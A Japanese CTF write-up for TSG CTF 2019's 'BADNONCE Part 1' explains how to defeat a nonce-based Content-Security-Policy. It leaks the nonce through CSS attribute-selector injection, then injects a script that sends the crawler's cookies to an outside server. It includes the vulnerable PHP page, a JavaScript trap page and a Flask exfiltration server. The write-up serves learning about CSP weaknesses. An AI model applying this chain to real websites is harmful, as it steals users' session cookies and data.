TSG CTF 2019 Writeup - BADNONCE Part 1
問題
Reining in the Web with ...? http://35.187.214.138:10023/?q=XSS Please send the flag1.
解き方
問題の調査
与えられたページにアクセスするとそのページのPHPのコードが入手できる。
<?php session_start(); $nonce = md5(session_id()); $_SESSION['count'] = isset($_SESSION['count']) ? $_SESSION['count'] + 1 : 0; if ($_SESSION['count'] > 3){ setcookie('flag2', null, -1, '/'); } if (!isset($_GET['q'])){ header('Location: /?q=[XSS]'); } ?> <html> <head> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<?= $nonce ?>';"> <title>BADNONCE</title> <style>.container{width: 80%;font-size: 17px;} .bold{font-weight: bold;} .note{font-size: 10px;}</style> </head> <body> <h1>BADNONCE</h1> <div id="container" class="container"> <div id="crawler"> <p>You can send me an URL from <a href="/submit/">here</a>.</p> <p>Administrators will check your link. <a href="/part_of_crawler.js">Here is the part of the crawler administrators use.</a></p> <p>This session id was used <?= $_SESSION['count'] ?> times :-)</p> </div> <div id="q" class="note"> <p class="bold">This page uses Content-Security-Policy (CSP). Therefore it's safe from XSS! :-)</p> <script nonce=<?= $nonce ?>> console.log('Welcome to the dungeon :-)'); </script> </div> </div> <!-- Here is an injection point :-) --> <?= $_GET['q'] ?> <hr> <div> <h2>src of this page</h2> <?php highlight_file(__FILE__); ?> </div> </body> </html>
ざっと見るとこんな感じ。
- このページはXSSできるがCSPが設定されている
- CSPは
script-src nonce-XXX
のタイプ - CSPのnonceは
md5(session_id())
で生成されている
また、このadminに任意のページにアクセスさせることができる機能もある。
そしてクロール機能のコードの一部も提供されている。
const puppeteer = require('puppeteer'); const flag1 = process.env.FLAG1; const flag2 = process.env.FLAG2; const current_host = process.env.CURRENT_HOST; const url_base = process.env.APP_URL_BASE; const timeout = parseInt(process.env.TIMEOUT); const browser_option = { executablePath: 'google-chrome-stable', headless: true, args: [ '--no-sandbox', '--disable-background-networking', '--disable-default-apps', '--disable-extensions', '--disable-gpu', '--disable-sync', '--disable-translate', '--hide-scrollbars', '--metrics-recording-only', '--mute-audio', '--no-first-run', '--safebrowsing-disable-auto-update', ], }; const cookies = [ { "domain": current_host, "expirationDate": 1597288045, "hostOnly": false, "httpOnly": false, "name": "flag1", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": flag1, "id": 1 }, { "domain": current_host, "expirationDate": 1597288045, "hostOnly": false, "httpOnly": false, "name": "flag2", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": flag2, "id": 1 }]; /* ... */ const browser = await puppeteer.launch(browser_option); try { const page = await browser.newPage(); await page.goto(url_base, { timeout: 3000, waitUntil: 'networkidle2' }); await page.setCookie(...cookies); await page.goto(url, { timeout: timeout, waitUntil: 'networkidle0' }); } catch (err){ console.log(err); } await browser.close(); /* ... */
方針
flagはクローラーのCookieに入っているが、Cookieの入手にはCSPを突破してJavaScriptを動かす必要がある。CSPの突破にはnonceを入手する必要がある。nonceは属性値であり、CSS Injectionを利用した属性値の窃取テクニックが使えそう*1。
flagの入手
次のような手順でnonceを入手し、flagを得ることができる。
- 用意した罠ページのiframeに攻撃対象のページを読み込む。この際、攻撃対象のページにはnonceの1文字目を外部に送信させるようなCSSをインジェクションしておく。
- サーバーでnonceの1文字目を受信したら罠ページに対して2文字目を漏洩させる処理に移るよう指令を出す。
- 罠ページはiframeの攻撃対象のページを読み込み直す。この際、攻撃対象のページにnonceの2文字目を外部に送信させるようなCSSをインジェクションしておく。
- 1 〜 3を繰り返し、nonceが全て入手できたらそのnonceを使ってCookieを外部に送信させるJavaScriptをインジェクションした攻撃対象ページをiframeに読み込む。
コードにするとこんな感じ。
罠ページのhtml
<body><script src=a.js></script></body>
a.js
const sleep = msec => new Promise(resolve => setTimeout(resolve, msec)); const serverhost = 'YOUR HOSTNAME' (async () => { const iframe = document.createElement('iframe') document.body.appendChild(iframe) let nonce = '' let inject while (true) { inject = `<link rel="stylesheet" type="text/css" href="http://${serverhost}/css?n=' + nonce + '">` iframe.src = 'http://35.187.214.138:10023/?q=' + encodeURIComponent(inject) while (true) { const response = await fetch(`http://${serverhost}/`); const resp = await response.text() if (resp !== nonce) { nonce = resp break } await sleep(100) } if (nonce.length === 32) break } inject = `<script nonce=${nonce}>(new Image).src='http://${serverhost}/?'+document.cookie</script>` iframe.src = 'http://35.187.214.138:10023/?q=' + encodeURIComponent(inject); })();
サーバー
from flask import Flask, Response, request from flask_cors import CORS HOST = "YOUR HOSTNAME" app = Flask(__name__) CORS(app) nonce = "" @app.route("/css") def css(): resp = [] non = request.args.get("n") for ce in "0123456789abcdef": resp.append( f'script[nonce^="{non}{ce}"] {{background:url("http://{HOST}/n?n={non}{ce}");}} ' ) return Response("".join(resp), mimetype="text/css") @app.route("/n") def n(): global nonce if len(nonce) < len(request.args.get("n")): nonce = request.args.get("n") return "ok" @app.route("/") def index(): global nonce return nonce
*1:具体的には過去のWriteupに書いてある。 https://0xiso.hatenablog.com/entry/2018/10/28/215226